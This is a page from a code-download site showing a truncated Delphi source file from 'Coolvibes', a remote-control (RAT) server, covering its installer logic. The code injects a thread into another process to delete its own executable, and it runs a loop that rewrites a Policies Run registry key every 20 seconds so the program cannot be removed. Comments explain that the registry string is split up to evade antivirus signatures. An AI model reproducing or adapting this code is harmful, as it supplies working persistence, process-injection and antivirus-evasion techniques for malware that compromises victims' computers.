⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitinstalacion.pas

📁 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制
💻 PAS
字号:
unit UnitInstalacion;

interface

uses
  Windows,
  SysUtils,
  TLHelp32,
  ShellApi,
  SettingsDef,
  UnitVariables,
  UnitFunciones,
  UnitProcess,
  UnitFileManager,
  UnitRegistro;

procedure Instalar();
procedure Desinstalar();

implementation

Procedure BorrarseASiMismo( hProcessToInjectTo : Cardinal);
//  coded by FoRSaKeN^    
//Inyecta un thread en el parametro que se le pase que se encarga de borrar ParamStr(0)
  Type
	TData   = Record
	_DeleteFileA : Pointer;
  _ExitThread  : Pointer;
  _Sleep       : Pointer;
	_szFile      : Pointer;
  end;

  procedure LoadProc(param: Pointer); stdcall;
  var
  Inject : TData;
  begin
  Inject := TData(param^);
    asm
      @del:
      push 1000
      call Inject._Sleep
      push Inject._szFile
      call Inject._DeleteFileA
      cmp  eax,0
      je   @del
      push 0
      call Inject._ExitThread
    end;
  end;

  Var
  Written,ThreadID      : Cardinal;
  Params,Proc           : Pointer;
	pData                 : TData;
  Handle                : hWnd;

begin
if hProcessToInjectTo = 0 then exit;
//------------------------------------------------------------------------------
pData._DeleteFileA   := GetProcAddress(GetModuleHandle(kernel32),'DeleteFileA');
pData._ExitThread    := GetProcAddress(GetModuleHandle(kernel32),'ExitThread' );
pData._Sleep         := GetProcAddress(GetModuleHandle(kernel32),'Sleep'      );
//------------------------------------------------------------------------------
pData._szFile := VirtualAllocEx(hProcessToInjectTo, nil, Length(ParamStr(0)) + 1, $3000, $40);
WriteProcessMemory(hProcessToInjectTo, pData._szFile, PChar(Paramstr(0)), Length(Paramstr(0)) + 1, Written);
//------------------------------------------------------------------------------
Params  := VirtualAllocEx(hProcessToInjectTo, nil, SizeOf(TData),$3000, $40);
WriteProcessMemory(hProcessToInjectTo, Params, @pData, SizeOf(TData), Written);
if Written<>SizeOf(TData) then exit;
//------------------------------------------------------------------------------
Proc    := VirtualAllocEx(hProcessToInjectTo, nil, 500, $3000, $40);
WriteProcessMemory(hProcessToInjectTo, Proc, @LoadProc, 500, Written);
if Written<>500 then exit;
//------------------------------------------------------------------------------
Handle := CreateRemoteThread(hProcessToInjectTo,nil,0, Proc, Params, 0, ThreadID);
if Handle = 0 then exit;
//------------------------------------------------------------------------------
end;


var  ThreadAutoInicioID : Cardinal;

procedure AutoInicio;
var
  Clave : String;
begin
  while True do
  begin
    //Ahora me agrego al autoinico
    //Metodo policies
    if Configuracion.bArranquePolicies then
    begin
      //Separadita para que no se vea la string completa si se abre con un editor hexadecimal.
      //Me imagino que esto ayudara a la indetecci髇 de antivirus que usan firmas con strings.
      //Y si no, es por pura diversi髇 :)
      Clave :=  'HKEY_CURRENT_USE';
      Clave := Clave + 'R\SOFTWARE\Mic';
      Clave := Clave + 'rosoft\Windows\CurrentVersion\Poli';
      Clave := Clave + 'cies';
      AniadirClave(PChar(Clave), '', 'clave');

      Clave := Clave + '\Explorer';
      AniadirClave(PChar(Clave), '', 'clave');

      Clave := Clave + '\Run';
      AniadirClave(PChar(Clave), '', 'clave');

      Clave := Clave + '\'+ Configuracion.sPoliciesRegKeyName;
      AniadirClave(PChar(Clave), ParamStr(0), 'REG_SZ');
    end;
    Sleep(20000); //20 sec
  end;
end;

procedure CrearThreadAutoInicio;
//Crea un nuevo Thread en el que el server se agrega al auto inicio cada 20 segundos, para que no lo puedan borrar :)
begin
  BeginThread( nil, 0, @AutoInicio, nil, 0, ThreadAutoInicioID);
end;

function TerminarThreadAutoInicio : boolean;
//Cierra el thread
begin
  Result := False;
  if ThreadAutoInicioID > 0 then
  begin
    EndThread(ThreadAutoInicioID);
    Result := True;
  end;
end;

procedure Instalar();
var
  i : byte;
  hProcess  : THandle;
  Process32 : TProcessEntry32;
  SHandle   : THandle;
  Pid       : string;
  Next      : BOOL;

begin
  if Configuracion.bCopiarArchivo then //Si me tengo que copiar entonces...
  begin
    //Reemplaza las rutas adecuadas
    Configuracion.sCopyTo := StringReplace(Configuracion.sCopyTo, '%WinDir%\', FindWindowsDir(), [rfReplaceAll, rfIgnoreCase{Ignora Mayus 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -